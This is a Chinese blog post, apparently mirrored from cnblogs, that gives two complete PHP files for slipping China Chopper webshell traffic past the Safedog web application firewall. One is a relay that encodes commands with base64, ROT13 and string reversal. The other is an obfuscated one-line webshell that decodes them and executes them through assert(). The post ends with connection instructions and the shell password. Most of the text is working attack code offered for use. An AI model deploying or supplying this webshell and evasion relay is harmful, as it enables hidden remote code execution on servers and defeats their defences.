zoukankan      html  css  js  c++  java
  • 中转Webshell 绕过安全狗(一)

     前言

    听说中国菜刀里有后门。抓包我是没有监测到异常数据包。为了以防万一,且更好使用中国菜刀硬杠安全狗。笔者收集了一下资料。无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshell绕过安全狗。
    原理

    菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密,然后再发送给shell,shell接收后用同样的算法进行解密,执行命令。

    客户端

    本地127.0.0.1,安装phpstudy
    transfer.php

    <?php
        function encode($str){
        $DS = base64_encode($str);
        $DS = str_rot13($DS);//ROT13编码
        $DS = strrev($DS);//反转
        $DS = base64_encode($DS);
        return $DS;
        }
        // webshell地址,transServ.php为定制一句话
        $webshell = 'http://192.168.253.129/waf/transServ.php';
        $pdata = $_POST;//接受所有POST数据,数组
        //var_dump($pdata);
        foreach($pdata as $key=>$value){ 
            //echo $value;
            if(is_array($value)){
                $value=implode($value);//数组组合为字符串
            }
            // 菜刀密码
            if($key == 'x') {
                //var_dump($pdata[$key]);
                $pdata[$key] = encode($value);//encode编码
                //echo $pdata[$key];
            }
            
        }
        $data = http_build_query($pdata);//模拟http请求的,把得到的数据data通过函数URL-encode请求
        //var_dump($data);//str字符串
        $opts = array (
            'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded
    " . "Content-Length: " . strlen($data) . "
    ",
            'content' => $data)
        );
        $context = stream_context_create($opts);
        //模拟post、get请求,创建资源流上下文,数据包
        $html = @file_get_contents($webshell, false, $context);
        echo $html;
    ?>
    

      

    服务端

    192.168.253.129,安装安全狗
    transServ.php

    <?php 
    $DS = @$/*-*/{"_P"."OST"}['x'];
    //echo $DS;
    
    if (!empty($DS) ){
        echo $DS."<br>";
        $DS = @base64_decode($DS);
        echo $DS."<br>";
        $DS = @strrev($DS);
        echo $DS."<br>";
        $DS = @str_rot13($DS);
        echo $DS."<br>";
        $DS = @base64_decode($DS);
        $a=explode(" ", $DS);
        //var_dump($a);
        echo assert($a[0]);
        exit;
    }
    

      

     

    本地中国菜刀连接http://127.0.0.1/transfer.php   密码:x

    想了解更多  欢迎关注

  • 相关阅读:
    二十三、Android源代码是这样搞到的(图解)
    defer用途
    vscode中go插件配置
    peewee外键性能问题
    bootstrap-select属性
    go环境变量及build文件
    peewee在flask中的配置
    python元类
    Java静态方法、单例模式区别
    Java实现list清除重复的字符串
  • 原文地址:https://www.cnblogs.com/xyongsec/p/11065353.html
Copyright © 2011-2022 走看看